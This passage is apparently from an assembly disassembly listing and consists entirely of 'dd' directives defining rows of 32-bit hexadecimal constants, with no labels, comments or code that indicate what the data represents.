		dd 21006E62h, 5657D6EDh, 95D9FAh, 83BB6823h, 884F2C70h
		dd 29724132h, 921F10E9h, 0DC08D789h, 0F7E55E44h, 158F7811h
		dd 2229E186h, 812254EFh, 21A442D4h, 0FDE4043Fh,	429D0865h
		dd 0B3248720h, 3C852F22h, 0D8500419h, 7647449Ah, 4A50CB44h
		dd 0BA081415h, 0E2FB9CA3h, 31282250h, 145F5084h, 0BA28A06Fh
		dd 0EF0D8875h, 8B9B1388h, 12F9999h, 9138DB6h, 0DD542900h
		dd 9DA7773Ch, 0EE1403FAh, 48423BF1h, 0E3DE03D0h, 7A20DC60h
		dd 3E1752CAh, 0FF016CE0h, 253F1615h, 71A5D432h,	0BC6F830Fh
		dd 7FA1C34h, 687D7A5Dh,	0A69F9D30h, 0F46E00F3h,	5FC796F9h
		dd 7100E045h, 30F28B4Dh, 19ABAAh, 24030C3Bh, 0F690DA70h
		dd 0C4D2E800h, 0BB2853EFh, 1F9B00D1h, 0A605D63h, 51003F49h
		dd 3157B318h, 7F4A97Dh,	9B0D8448h, 3020892Ah, 372DE773h
		dd 0CD81400Fh, 0DBE1836Fh, 2E55D87Fh, 1E0F16BAh, 1DBA014Eh
		dd 0C012BF0Ch, 0E11F865Fh, 51C1E757h, 44B39B08h, 965C5180h
		dd 275E4F0h, 0D3F76500h, 6DE3B9CEh, 0ADC000DAh,	0DD99C449h
		dd 0DF004AF8h, 0E0234318h, 0BE604Dh, 5C08AED0h,	4F3DE6Bh
		dd 6E3A7300h, 114688A5h, 69CA004Ah, 289340C4h, 0F548A41Ch
		dd 0BD4D0042h, 270BD55Ah, 0C91407E9h, 40AE25CDh, 3022DE43h
		dd 2377ED00h, 5FCF32B7h, 0A9080710h, 10DDC5B5h,	58748083h
		dd 860FF37Ch, 0C0AF38DEh, 0F22C360Ch, 54B101E0h, 0A309FB33h
		dd 90A7F489h, 50734100h, 0FE7C174Eh, 72E8E2E1h,	0C6DE0E46h
		dd 0E9608DEDh, 0FC181952h, 0DBA61001h, 0B472B762h, 0F60FD40h
		dd 0B3D8032Bh, 0CF418CC3h, 429FB898h, 7A1CD58h,	53CC231Ah
		dd 84C66270h, 0CFD60FB0h, 0E183DEE5h, 81805DA4h, 0A17D8ED5h
		dd 0AB1B6B00h, 0F9703440h, 0ACB003A0h, 4F328CA2h, 0F592E4F0h
		dd 0C2002AF6h, 0E9E3AF0Ah, 3C375AECh, 3D0FA2EAh, 0C3A023EEh
		dd 2141C8F7h, 6F0D5C00h, 511C49DEh, 10A50E45h, 3220AB34h
		dd 0DBC59042h, 7D09C600h, 3FBF5008h, 8E540E21h,	0F2A09E6Eh
		dd 0A731C755h, 0A9151B07h, 0ADB0E5A8h, 0E11FBAh, 1686433Eh
		dd 4996CC95h, 428A5000h, 0F0626E37h, 0C5772B4h,	556F6C26h
		dd 52089011h, 8F7B3345h, 4D000D67h, 0CCFC488Fh,	98654A00h
		dd 9EBDA825h, 9CEC4D8Dh, 0DA880F7Ch, 0E540E8B3h, 65C99B40h
		dd 0DE010F70h, 77B83BF6h, 4024699Ch, 5A877AFh, 0E3628767h
		dd 0ECC40080h, 3CBFA257h, 0A4AAC700h, 0DA2373E7h, 0AD180043h
		dd 7D76DCCh, 0D507A5F4h, 240913C4h, 0D6893231h,	0FC6AD8h
		dd 5FA9D2B4h, 0F90B888Ch, 4246541Fh, 78A152C0h,	1CAC5994h
		dd 80A540A3h, 5AAF17FBh, 3A00BBF0h, 75C27B4h, 3E24D20Dh
		dd 0F4E644h, 68103C91h,	1753846Eh, 46745500h, 0C5803B6Dh
		dd 0E28D023Dh, 0F18FF426h, 0D72818C0h, 0B81EDC00h, 27B5CC41h
		dd 7B7D0190h, 3B9FE7BDh, 51218001h, 0F1C6EAF5h,	0F316004Bh
		dd 0C00C6E08h, 0F0037933h, 50B10BC8h, 0FC38B8EDh, 0D4075016h
		dd 8A960059h, 5D6B8658h, 0C005EBDh, 0E6A39E42h,	780811h
		dd 0C88D4E23h, 0F3E5301Ch, 14C644Ch, 0A57F54A6h, 0B2F093F1h
		dd 30509827h, 0E4D87C56h, 3A3F46CAh, 48C8D8h, 750F2924h
		dd 0A392DBh, 0A9B97753h, 45E403B0h, 57A728C0h, 7278874Bh
		dd 0BCAD02F8h, 85ECCB9Eh, 0DD907D43h, 5E0A5844h, 8C50F131h
		dd 0EB16A300h, 3B551083h, 0E980ADF9h, 0D13E276Bh, 0C0005ADBh
		dd 9A0DFD1Fh, 92D45h, 0ADFE726Fh, 95DC6B66h, 88CFC300h
		dd 0B60AEA24h, 1C50014Bh, 2CB35201h, 0BD1E827h,	66156800h
		dd 78DDA49h, 39FA0079h,	16124835h, 1F0195F2h, 0CD043D46h
		dd 4DF42C14h, 9E9706DBh, 102B7438h, 0F294FE02h,	4271A68Bh
		dd 8D5A87C4h, 63C39F0h,	746448E2h, 0F0EBF807h, 16EF7092h
		dd 0B400C59Ch, 0BA47EAFh, 38F3052h, 4B106F69h, 7C06EF0h
		dd 240078BBh, 2E41F859h, 1895111h, 5862E5F5h, 64768FE8h
		dd 6410594Ch, 240083F6h, 0FFB89208h, 4500E501h,	0D111A94h
		dd 7831877Dh, 9100006h,	0BE3C323Eh, 0EE0A4481h,	0B415E063h
		dd 1EC30740h, 0C5F9000Ch, 0AA76E8D8h, 9000AB0h,	0BAD688F7h
		dd 2DB402h, 79FC035Fh, 0D27FCD93h, 54A16800h, 64D52197h
		dd 3CA7C57h, 1F7BD981h,	67D0DB2Ch, 0FA0122C5h, 0C907B108h
		dd 5AE41CABh, 42430E6Ch, 81A01695h, 39366F12h, 8D19D802h
		dd 80600598h, 8F4958A0h, 4F4700F3h, 9422FC35h, 552D1CFh
		dd 10C901ACh, 0D569F76h, 5BFCC8h, 1AA64317h, 71FE540Ch
		dd 0C2882901h, 2C013D85h, 0A0038A31h, 4B908FB9h, 9A528AB8h
		dd 0D7203834h, 5071216h, 82FB6344h, 0D0407C6Bh,	0F51E3080h
		dd 69478B33h, 48F0AD6Dh, 0B9D732h, 79B505EDh, 28F5A240h
		dd 3C0607F0h, 0F3C442E7h, 51720021h, 760FC2F7h,	9600C137h
		dd 136107D6h, 79632670h, 0A8FE4Dh, 0D2A1D347h, 9315245Eh
		dd 0E7DAAE00h, 0E4050D9Bh, 4AC01391h, 0D9680EACh, 243A71E0h
		dd 0E0F539C3h, 0CD139E62h, 5C07A22Eh, 0B6609AFEh, 44F9276h
		dd 3F37C3BBh, 0A3E0D019h, 67801808h, 5DE7079Eh,	0A0B1D0F5h
		dd 14F16A9h, 0E905D800h, 0A208CA07h, 35C00FFh, 0D74E5237h
		dd 7E0079C2h, 0AE731CBEh, 1EBDCD3h, 0A6039FEDh,	0DCD98691h
		dd 9300DBEEh, 64F626D4h, 33061Ah, 7A3F50EAh, 0CD2170F5h
		dd 200798B8h, 0E494B2A6h, 87267920h, 0F16B2F03h, 370062F6h
		dd 3C094D70h, 63E11FD0h, 0AD6F8E7Eh, 61359440h,	0D9007574h
		dd 0F8F72CFh, 24B69EF3h, 187AB78h, 0ACF98CBAh, 0D44EF96Ah
		dd 8B0042C3h, 289236Dh,	87340Fh, 684576FEh, 0E4CD7F06h
		dd 70B84BE4h, 946C9517h
		dd 0FBA2F400h, 234178h,	0C2D13D96h, 77581A83h, 57DC8200h
		dd 3635EBDAh, 45150050h, 85D690A4h, 12735242h, 4C3F0378h
		dd 10B4987Eh, 3C27D920h, 60124F39h, 4E702271h, 219BF740h
		dd 22DDD601h, 41C31F4h,	122FE830h, 80E8F0E7h, 0D9C5CB04h
		dd 0E92CC900h, 13A889DAh, 59340765h, 99F10997h,	0C01CC304h
		dd 6C7A68DCh, 7031320Fh, 22F5201Ah, 0B85573E0h,	0E5410748h
		dd 2F5AA491h, 8FD69700h, 0B1068DFBh, 7D72BAA7h,	0C7031221h
		dd 24440382h, 0EFE80E36h, 0D6FEE0AFh, 0D7156400h, 46699109h
		dd 0AC01506Ah, 0BA931673h, 0CF380043h, 5B126002h, 0AFF85E00h
		dd 0E6A98ACAh, 358F0193h, 8E7C7A81h, 1C6370D0h,	8A04C490h
		dd 8B2FB09h, 8801D30Bh,	6BDC83FDh, 35115E0h, 5B460F8h
		dd 9598DBE2h, 382576EFh, 6ACC8070h, 0A35BD184h,	7CE9A0E4h
		dd 0D5A3053Ch, 7920E1h,	707834F4h, 4A3DE409h, 2FD001E5h
		dd 5AB82B56h, 6DADA8F3h, 4B590203h, 98B3D3F8h, 2EB68140h
		dd 0C14DF00h, 9CD9C1C6h, 9C8C5857h, 0EF915300h,	0F8E2B4A1h
		dd 4007DD75h, 96E95250h, 9E70DEB7h, 2A05C8h, 0C345A5BBh
		dd 1D542C04h, 4750B400h, 0E939207Ch, 1C573989h,	0F6153800h
		dd 4F5D6129h, 800FE83Fh, 0CFFADB1Eh, 0FD45B9h, 1DA469B8h
		dd 5286A5F6h, 7975843Ch, 0A0532E00h, 7C4D1032h,	4BF00A8h
		dd 5D421DAAh, 0CD002AEDh, 0C2296C05h, 1F93855Fh, 0C05675D2h
		dd 0DB9844D9h, 0A0F0FB57h, 0C03C2802h, 0C1A913D0h, 0A434D204h
		dd 82250093h, 331E0FA4h, 4609EAF0h, 105B27E0h, 0DADF0Ch
		dd 987F8CA6h, 0FA4A353Fh, 0FCA51600h, 1340BFBEh, 0FEC8E2CCh
		dd 1F470327h, 2DB962B6h, 19B395D8h, 0E92857F4h,	1C98D720h
		dd 5C3B0A0Ah, 0A500EF87h, 0E7EBB525h, 0B76B3865h, 29884D0h
		dd 740C29F8h, 3C581A7Ah, 814B2103h, 0F010F33Eh,	0EFE1497h
		dd 687B0401h, 0C737A020h, 0F6076A25h, 99AD4DCCh, 148317E0h
		dd 3F26013Eh, 0E298D13h, 6E5970ACh, 217F6D07h, 26A02768h
		dd 70E70Dh, 879407C7h, 0D2A8AFD4h, 3ED31400h, 0C68AC3A6h
		dd 6AFC70h, 0C208D543h,	788334C7h, 5D3B3600h, 0F17B5622h
		dd 49BF3D61h, 0B1F7DB00h, 70E59169h, 0B4C00E05h, 4C03A7Fh
		dd 0E619286Fh, 0FC7942h, 398E0C18h, 26B73F5h, 15D0CF00h
		dd 0B22AADC4h, 1B1F0003h, 107127E2h, 8C7C0990h,	0E5D13F00h
		dd 0B7FDA754h, 0A17D2481h, 64C20714h, 40F9D00Ah, 0A900C060h
		dd 0A625F201h, 50C30Ch,	48163FDCh, 0D9DF7E21h, 711A4Ch
		dd 0C87576B0h, 0C057977Ch, 799E9CB0h, 8498F7CCh, 803D6EF0h
		dd 3962BCFDh, 0BB638744h, 60A97D79h, 88334Ch, 0A2BC1719h
		dd 0A79CC096h, 1604FC90h, 9F0D97D0h, 26DAB8F0h,	0B307F21h
		dd 0EA801D08h, 0C5E95154h, 0F5864D01h, 0FE3D9EB5h, 0D7C820h
		dd 73AD67Ch, 20A36C31h,	23AF9CA0h, 85475A01h, 84E63069h
		dd 48567C30h, 9C007860h, 46D15904h, 0BF1C5262h,	102610DDh
		dd 0C2319907h, 534080F9h, 47E360Bh, 0FCD440F5h,	0C0888781h
		dd 8998FD2Fh, 0D83A8B00h, 7A959DC2h, 0E46D5C6Bh, 0DA02CB09h
		dd 40710487h, 132191B7h, 0B885921Fh, 0FCEFF740h, 48196C20h
		dd 0FE7CCC57h, 25609AC5h, 0DC81DC40h, 304F80A9h, 0B108C9ECh
		dd 24C512h, 0BA0FB8Ch, 180740CBh, 4BFCB260h, 880D6B80h
		dd 0D98D077Dh, 0F0B5A7C3h, 0E6D806D1h, 6C602907h, 0FDE17C09h
		dd 3C21E7EAh, 7B85E440h, 8FCF022Bh, 0B00840A0h,	1010E0C2h
		dd 6A02E986h, 0A188925Ch, 755CE002h, 841201DAh,	0E5D4FE1Ch
		dd 0A0A247B8h, 654AA78Dh, 61E6A200h, 0D89B0805h, 3349897h
		dd 0CC83CA32h, 65B89815h, 7D98B791h, 851DD907h,	0E810C2FFh
		dd 2E251408h, 0CCBFB2h,	0B83F0EA3h, 2A05FE5Bh, 6AF13FFh
		dd 0EB4DD401h, 0ECC0569Eh, 1110C079h, 0BA5A6798h, 4C2E3000h
		dd 0CAD596C3h, 0FBF84Ah, 0B2C527B6h, 450F43A5h,	0FF89BC03h
		dd 1322BB3h, 776E268h, 0F96B610Eh, 9D93EC59h, 88816930h
		dd 0FE0DA723h, 0D45254A2h, 90C830DEh, 0D993F8D9h, 0BFEDDC01h
		dd 0B6C64CFFh, 0F53948F3h, 833FDA00h, 51986669h, 61737000h
		dd 0B344261Dh, 5C3A14FAh, 9A00871Bh, 9374C60h, 0B11E954Eh
		dd 0C101130Fh, 4F657F5Fh, 0CCF417E1h, 31E51777h, 0B6900127h
		dd 0E543DC18h, 0BD2880CEh, 73A197BEh, 0AED90091h, 9A92659Eh
		dd 24020B10h, 6C3966F2h, 0D290C155h, 0EB1CD0h, 10E725E9h
		dd 0FE329078h, 0AAA75700h, 0BBDBBC9Fh, 56F0C64Ah, 3A07509Dh
		dd 0E9A95905h, 245E7AA0h, 0EB180997h, 0C80FBE5h, 0B36FD906h
		dd 32DE8300h, 1299FC30h, 35FF0072h, 8118D125h, 970A950Bh
		dd 0A8D503B8h, 0D42B7287h, 0EDC43830h, 20090C25h, 90C0DB4Ch
		dd 96003F7Eh, 0F99A6494h, 5D8E326h, 0B66C4AB9h,	7434C04Fh
		dd 0E4762DD5h, 0BC195E28h, 0F00056F2h, 0F8D386C7h, 75B6C22h
		dd 844D0B29h, 42D15269h, 882BC0E0h, 0BDE4E254h,	1F05B7B0h
		dd 0F9483491h, 3A0018D7h, 1CE9C2h, 85BC0DCAh, 493667C9h
		dd 0A9AD0A00h, 43C022D0h, 96630020h, 0F12A59D9h, 7F01231Fh
		dd 3C94750Fh, 0E88749ACh, 0F073D692h, 0DEC89625h, 18B7E300h
		dd 8B7453A7h, 1F4CB66Dh, 0C48A4C9Eh, 0C526AD81h, 8800905Eh
		dd 44BAD2D9h, 7E0A071h,	2E0D1837h, 0F4DC7806h, 60130B4Bh
		dd 34BDAE00h, 0C016F8C7h, 0FCD75D49h, 2400F765h, 0AECA872Eh
		dd 929C0Ch, 341B46ADh, 517B9F13h, 85A0911Dh, 352C9300h
		dd 600DFAh, 1C748C8h, 0F3A57B6Ch, 0AC65C30Fh, 0D3EB00B7h
		dd 7B159F4Fh, 43F70038h, 8D425DF8h, 201478E3h, 7842A06h
		dd 4079C1FBh, 302554D1h, 0FBC92C4h, 0E7B18446h,	0D231E362h
		dd 0ED373C40h, 95001F7Ch, 19707D5Bh, 6C346BBh, 7CB9E86h
		dd 300101Bh, 0DB06F3B2h, 0FA3114h, 633016F0h, 0C3F9204Eh
		dd 0EE00EDEAh, 0DBBA80B0h, 1FCFFB89h, 0ABE58h, 14950F06h
		dd 4E00018Bh, 982485ABh, 0E0D075Dh, 7223A46Fh, 241676h
		dd 0D7AD333Ch, 0EB009003h, 7D06885Eh, 3EF7B7CBh, 2800FB25h
		dd 750DE6C6h, 0E07F8244h, 1509D71Ch, 3F774C81h,	188039C4h
		dd 0B492DA45h, 0EE0FB31Fh, 60D0FF0Fh, 0A4A96336h, 8E4A0084h
		dd 17B42E2Dh, 7400EDECh, 0DE3D14EAh, 0F626813h,	0FA25104h
		dd 0D65C2F40h, 6F00BA06h, 3140B1B6h, 286CF876h,	0D071F9h
		dd 0E76BA40Eh, 74259FB2h, 36075200h, 0DFF704E0h, 0F6FB01BDh
		dd 699ED048h, 0AD6CD8C8h, 31F0E916h, 6E2C1F03h,	23538064h
		dd 0E25100EDh, 0BC662796h, 0DA1EB6C5h, 9BC0FC98h, 0D89580DEh
		dd 0EB6200B3h, 0F7E2E390h, 730016E1h, 4A524CDh,	0E6F1C07Ah
		dd 0AB230044h, 0D61D5067h, 6400F4BEh, 8F8EDC2Ah, 1470976h
		dd 0B7A2C232h, 0F0CE21FDh, 0E100C5EBh, 1FFF73D9h, 0F232E501h
		dd 7D2E0684h, 20E3B1F0h, 885F4824h, 0AE05E280h,	92D43122h
		dd 0AB300B4Ch, 2C21B2D5h, 0D4468472h, 260940A3h, 219A4D21h
		dd 30B911CCh, 1FA455F4h, 0FDE96B82h, 4F740F80h,	0A7046D8Fh
		dd 0FE002C9Ah, 32348E18h, 0C05E3580h, 67D81A78h, 0CA5F212h
		dd 0AC02F517h, 626A867Ch, 3C2068DEh, 0B63E1CA7h, 520BC215h
		dd 3C6E1755h, 8B480F75h, 67137FB1h, 3002219Fh, 1295924h
		dd 0A4229E81h, 0C600EC68h, 41732D61h, 0BA80968Eh, 4F4CD780h
		dd 0C114FAF3h, 0FE361116h, 2A5EF000h, 98FC8EEFh, 0EC71240Ah
		dd 966E02B7h, 88709836h, 1F32F039h, 0CF47BE5Ch,	0A6401DB2h
		dd 9725286h, 36F51F02h
		dd 0D2DF00F5h, 5F281Eh,	5C5ECEF7h, 0F2DA124Eh, 0AAEACC04h
		dd 0B0C0D36Eh, 5048F08h, 80730732h, 4A90909Fh, 4F006A21h
		dd 0DF550633h, 1FF9445h, 0F2ED3093h, 0C8495D64h, 6C17D5FAh
		dd 0B800AD08h, 71D2417Dh, 0A705002Dh, 77467039h, 0B000BDACh
		dd 0C3AF828Dh, 0B620A63Ch, 0B003E24h, 8CC984B9h, 4400DD0Ch
		dd 0CAA33A66h, 4C8D06h,	3FBC53BBh, 72AF2B37h, 7410F900h
		dd 277ADFE7h, 0FAB50461h, 0B01F3248h, 9101ADDCh, 2F7DC038h
		dd 0D828FC55h, 217BEA1Ah, 0F3AFEA60h, 0DBBE6700h, 9FED3EE8h
		dd 0FDCD00F8h, 0EBF4EEB4h, 1128C0ADh, 5E04D21Bh, 88D1DEACh
		dd 7D3EF8F7h, 0B809489Bh, 0E02C0488h, 96006772h, 423D584Eh
		dd 13A18E4Bh, 1DE56DFh,	60530B6Bh, 374A60B5h, 6DAD7103h
		dd 0B85D3FE4h, 24AE689Bh, 787691h, 0CEEF6C1Ah, 0FB004824h
		dd 31304686h, 0A5C633h,	0A3F0888Ah, 6DECA19Ah, 20FDB7F8h
		dd 7700F55Ch, 3866A8DAh, 7E175621h, 0CD810F75h,	0E14C2F26h
		dd 0F3079721h, 51F08EB6h, 0C0607102h, 1C62A373h, 43217658h
		dd 7E65B5BDh, 34159A88h, 9EF9CF16h, 0C184E85Dh,	6490D072h
		dd 2BEA85h, 62CE1D08h, 60B480C2h, 20D59C00h, 30272F5Fh
		dd 61280057h, 18022175h, 563C4DC7h, 243583A6h, 8447E178h
		dd 83A453C2h, 838BB0CBh, 53D3C023h, 0F4890063h,	90E29954h
		dd 2400B774h, 44BBB358h, 0E22DC710h, 543900D7h,	22DBDCA5h
		dd 3D008636h, 8F64B54Ch, 4B5231h, 7C085C2Ah, 7D8D6176h
		dd 4FDC7F1Fh, 3CF9E940h, 0EF7E1Ah, 463DFA39h, 14D86225h
		dd 67870A17h, 0E1635709h, 8C346990h, 35500FEBh,	0B8A0FEBCh
		dd 0FCB7627Ah, 0E47EAC00h, 0E590A4CAh, 559A260Eh, 4F100028h
		dd 89D06605h, 0F8CC701h, 0D6C50248h, 3093B1D4h,	99201C69h
		dd 0E1FE66Dh, 8800AC74h, 0E807B2D0h, 0DB9500EBh, 7B991660h
		dd 0B058DC35h, 0EF127EA8h, 1CB130BFh, 0B4EBBE00h, 34135DEDh
		dd 14F74F00h, 0CC81B52Ch, 67E17D00h, 9D2DCE20h,	56045CC6h
		dd 0B2ADEF00h, 1BD771D6h, 0D9EE3A71h, 9A06F907h, 21C3B938h
		dd 9FBA89Eh, 1BE7A5Ah, 0A1D88A75h, 0C4726840h, 670E5048h
		dd 934DEB7Ah, 9D51A040h, 1C1D8C54h, 442F2944h, 0C093BC89h
		dd 7C708790h, 0B0400200h, 94E4E5E1h, 0CB19281Ah, 6AB538B2h
		dd 92E8B4A6h, 0BBD400A2h, 0B1F6469Ch, 40837102h, 802DFE5Eh
		dd 0D60E1ED2h, 18AE615h, 0C84D7A42h, 0AC3A3158h, 57001FB0h
		dd 93B2EA48h, 3FB3F00Ah, 0AF028A8Bh, 0AD70345Ah, 0CEB8E063h
		dd 4E161640h, 1DFE0A4Fh, 5014803Ch, 0F092ABB9h,	1C6B6E06h
		dd 7260DBD5h, 1B2F0122h, 0EEAD4DCBh, 6B9D201Ah,	56450809h
		dd 6798009Bh, 1F4216DFh, 40C13A82h, 7C7EE7ACh, 901E1A4h
		dd 0F70B49CFh, 0BDFC312Bh, 89372507h, 7D057400h, 0FB03EF24h
		dd 2586D3ACh, 73F2E066h, 6104178Bh, 19F8002Fh, 2DE3E56Fh
		dd 80177E38h, 0EE2342AAh, 0D89EEBh, 66508688h, 0F3E0EC5Dh
		dd 6B609800h, 6481A995h, 0D4CE5026h, 0E11C003Ch, 4B590463h
		dd 11094510h, 72FA8EEEh, 3521C0C0h, 0ADA846E4h,	0BFCA4C04h
		dd 87C0B6FCh, 3E126E3Fh, 0C82FFA4h, 1DD4DD9Bh, 73AB4C40h
		dd 0E97933FAh, 29E2C914h, 0BB1100F8h, 47B3FD6Ah, 0FB440E85h
		dd 81604359h, 0AB967F41h, 775B6B01h, 509A66FEh,	17BBFECh
		dd 0EF9348FDh, 3C5E5576h, 0E6F50064h, 37217CDFh, 8E68036Ah
		dd 0DD49051h, 0FC4322C8h, 0DA0060B2h, 1EA18866h, 24E120EBh
		dd 8475D0h, 3F17456Bh, 5F002246h, 8EE6EC10h, 0A6571Dh
		dd 196A33C0h, 0B03BB1D2h, 0CEC4EA00h, 0DE067049h, 0B45F0089h
		dd 0A256476Ah, 1724FF5Ah, 45009B4Eh, 5C3B6E9Dh,	0EC9E00D4h
		dd 6473E08h, 0EE03426Ah, 17611D0Bh, 58489068h, 1EF009Fh
		dd 6D47AE20h, 7015CBEh,	0B4DBA351h, 0ECD0D13Bh,	94AF00EFh
		dd 90DC4CF7h, 8709DAB2h, 0E6A7F04h, 0E989C014h,	0B30354h
		dd 3723ABC9h, 0DA4C145Bh, 0E0B79200h, 42D49C09h, 2E70061h
		dd 0B0E3C67Fh, 771C8527h, 0DD40C50Dh, 15863FE9h, 24C900B8h
		dd 0B45ED5D1h, 881FA306h, 0A18147E6h, 18D2DA4Ah, 30598D8h
		dd 2BED9A5Ah, 80F55E3Ah, 8CEAF580h, 7F549B00h, 11B1E032h
		dd 14C9028Ah, 0EB04E587h, 20508D0h, 1D61E388h, 0C3236487h
		dd 0EFEAE039h, 0CB6F0731h, 77B6520Ah, 0C102305Bh, 6E0064A3h
		dd 0F4BA239Ah, 78A6F8EEh, 1A89002Ch, 326C76BDh,	990337E3h
		dd 0F3EC33A1h, 1080A4D7h, 582861h, 94C146C3h, 5D0569B8h
		dd 0C50024F4h, 3B8EBAE0h, 32ECA2h, 15E31A77h, 4B146C12h
		dd 0E916C300h, 1F3E5C17h, 0E67A2Eh, 8A1D18F2h, 49A32139h
		dd 286F4300h, 0EE7E9B07h, 2F7900A6h, 58F50E72h,	0F33DE775h
		dd 0B55F00EBh, 0A87DF0Dh, 0FC47003Bh, 916AAB45h, 0DB009368h
		dd 83958117h, 19A9CD9h,	0E5A2411Dh, 6073EAFEh, 0B301A9DBh
		dd 0C4E4DC36h, 0E3DC0DB9h, 0A15205A3h, 0C0A84399h, 0FB17A785h
		dd 80851E3Bh, 0DE883828h, 0C6D951h, 257BF1BEh, 5776AEAh
		dd 1624C00h, 4A228C92h,	4B43009Bh, 0B994D913h, 79395E21h
		dd 8A4980ECh, 31DD2D83h, 16D49042h, 74CB928h, 165BD976h
		dd 73001016h, 0C47CD57Dh, 955D37h, 0EFCA0738h, 667564Bh
		dd 0B8191803h, 3C809h, 8DDE4D8Ah, 871E5073h, 29979E00h
		dd 0B4DC69D4h, 3C7800F8h, 0D59F7594h, 63002164h, 0E3E055A8h
		dd 0CC42DDh, 2D81C3D9h,	0A75E244h, 0F1488D00h, 10B71878h
		dd 0A70D2C2Ah, 2F6C00F8h, 8E6456E8h, 0F66E131Eh, 4206A4F7h
		dd 575B0048h, 5D404E31h, 0E3EA865Ch, 0E4755E2Ah, 0FC552D14h
		dd 5AC800BFh, 1FF8A308h, 0A7601D4h, 9DF41241h, 774F8B0h
		dd 0C0FA7D00h, 0CE1F3146h, 0B2550028h, 0CCEB6959h, 0C600678Eh
		dd 2DE67C7Ah, 0E6C754Eh, 0C3D05E62h, 1680C4A0h,	0C50051CEh
		dd 3F0219DCh, 0A411DEh,	0EE968A24h, 58E3FC99h, 0C011AD60h
		dd 0B064A6h, 260CF1Bh, 0FCEBE4D0h, 2816E700h, 0F621311Fh
		dd 3A5C0091h, 6305AD42h, 4900FA44h, 0D915D8A8h,	2007A4h
		dd 9FC541A1h, 0F8FE4CB8h, 1C0ADA08h, 120D0099h,	72EDCD2h
		dd 0F578BC0Fh, 0CD40DE25h, 0E61EA5DEh, 0B89D6C59h, 8F002710h
		dd 686169ECh, 77CFBAh, 0E0E85A8Ah, 4937017Ch, 5C004A72h
		dd 0B98BC5B8h, 1ED1FDC0h, 0C6C388h, 6EBAF3CEh, 840FF20Bh
		dd 0B944E551h, 95D0BE58h, 0C1B64C12h, 0D495A02h, 94500F98h
		dd 0A6995E00h, 0A02E2552h, 94B70017h, 853CA94Fh, 0DBB8FD40h
		dd 3120B600h, 6A7566BFh, 0A1CF0048h, 0ABCA6EE1h, 1E0026CEh
		dd 0B8A680E8h, 0A516FDh, 66FFE5BFh, 5D5C90D2h, 8556330Ch
		dd 0EA8C6Eh, 74E90368h,	0D7FDD836h, 389D7A00h, 3D176692h
		dd 0A124005Bh, 0CFFCFE5Fh, 0B37912AAh, 6E74D000h, 71E26F25h
		dd 82BC0310h, 0ACF15186h, 26659DD0h, 0AEA4272Eh, 78B68038h
		dd 0F1064AAh, 3E4100B5h, 20310181h, 2174289Eh, 0D013D600h
		dd 43D8421Fh, 96BB00D5h, 79304636h, 121D7F48h, 0C6406DC1h
		dd 0EA64521Ah, 0AEA10059h, 0E79915Ah, 0C7034D50h, 3CC82FA7h
		dd 8B69E8A8h, 0DF25002Ch, 1B0412BDh, 0E00A122h,	3041CD68h
		dd 633F85h, 5E0BA96h, 50C9566Fh, 820083E0h, 1B3584D3h
		dd 0E1D1CEh, 0B2176E34h, 0EF91607Dh, 5600D8FAh,	0D087FA9Eh
		dd 1DFC3C1Bh, 8E78E592h, 37809DA1h, 0D1299D8h, 58984903h
		dd 0C81A27E8h, 0AB1EFEh, 10F580B3h, 0EF08B57Eh,	0A8297704h
		dd 4811FFCh, 4E30AD1Bh
		dd 0D9740323h, 0AB562134h, 9DC045F3h, 0A600815Fh, 6EFB2458h
		dd 0FC2283Eh, 83E3D325h, 385D7680h, 500D977h, 827F55CDh
		dd 0BDB6EEh, 0E46DF7E6h, 0E8EBD898h, 0FB2FC103h, 0B8B05287h
		dd 617479h, 0B547A983h,	89E6E72Eh, 5F94620Ch, 60AF8951h
		dd 0C7B631FAh, 3798BB4Ch, 35E4937Eh, 0D653B301h, 0BE08D551h
		dd 3D9D9960h, 0AB07307Ah, 9645704Eh, 9400C855h,	9E72D5CDh
		dd 0CBF81Bh, 2E41C6AFh,	589586D2h, 0A8708C30h, 0A65D2Bh
		dd 191FC710h, 0B373F434h, 91FCC107h, 0CCD02C7Dh, 3B9DA988h
		dd 0E303C51Fh, 4367A5D8h, 0DC2B1C98h, 11CF3000h, 5538049Eh
		dd 4241008Ah, 7C254E81h, 1850AB22h, 6700F4B8h, 0E34DBB92h
		dd 3F04E4CDh, 4BBB9B6Bh, 0BDAECF00h, 687159FAh,	0A6FF4D00h
		dd 980C87E6h, 0E8AB0B25h, 4D00EC1Bh, 0B023652Dh, 0C3B8DCF6h
		dd 90A0F774h, 0A6028AABh, 0DF3CCF61h, 8F09C072h, 1AF90069h
		dd 8EC1559Fh, 0AF02E3A6h, 576B02Dh, 94F8A148h, 904014C7h
		dd 1E334544h, 416379h, 0CC237607h, 5813AD82h, 600EDBDh
		dd 62B3F203h, 145F7AAAh, 0B4F6FFF3h, 7336C9C1h,	0CCAEECECh
		dd 8149AD3Dh, 29D5F596h, 806E2C9Dh, 12D973B3h, 0F4F88A54h
		dd 0F747E500h, 0F378AE15h, 2098B8h, 0B5426F5Bh,	0E1D9B264h
		dd 0EF1DA803h, 0A8332F59h, 5B5F90h, 4A823E8Ch, 0B8478565h
		dd 0F3CB7E00h, 0B13DAE2Fh, 0D6FA00E7h, 33082D7Dh, 0AC92AA52h
		dd 8937FB22h, 10A002D8h, 6E0E00D8h, 607AAC64h, 0D91DF4AFh
		dd 650E48FDh, 9EB9A1EAh, 42803CC4h, 33A56FD6h, 0F2005AD8h
		dd 0C011669Bh, 68EF2Bh,	97356AF0h, 7A692CCEh, 7CF180Eh
		dd 4AAF609Eh, 2B5DE9h, 156CE4F1h, 73FFF838h, 864E1F00h
		dd 0F6C276F5h, 1F75E289h, 85298371h, 0DCD0FFh, 0DB5AE094h
		dd 0BF00A231h, 5B6D06D8h, 48111047h, 0A00508Bh,	141ECF60h
		dd 7B3B8E9Eh, 80410E66h, 7D74286h, 0F4284029h, 18F026E2h
		dd 0B57907DCh, 155A7188h, 0F6D2405Dh, 207B6D0h,	36B40FF5h
		dd 0A693E311h, 734469C0h, 977EEABh, 7157B623h, 0FA95A000h
		dd 0B40B1E94h, 81BBA19Fh, 0C5FDBC9Fh, 4014C20h,	0D53484CFh
		dd 0F910DC94h, 9D41F100h, 0EDC2A81Dh, 0DE900DEh, 936388ADh
		dd 7B388FE8h, 1C8E1691h, 0A600941Eh, 6A840D1Eh,	36162496h
		dd 0E7CB8970h, 90D92CB3h, 3B9840C6h, 0C83E22DEh, 0CC2B3BA0h
		dd 0C9301F44h, 0E33E2D00h, 0F71CEA4h, 4AE23FFFh, 8AF643E1h
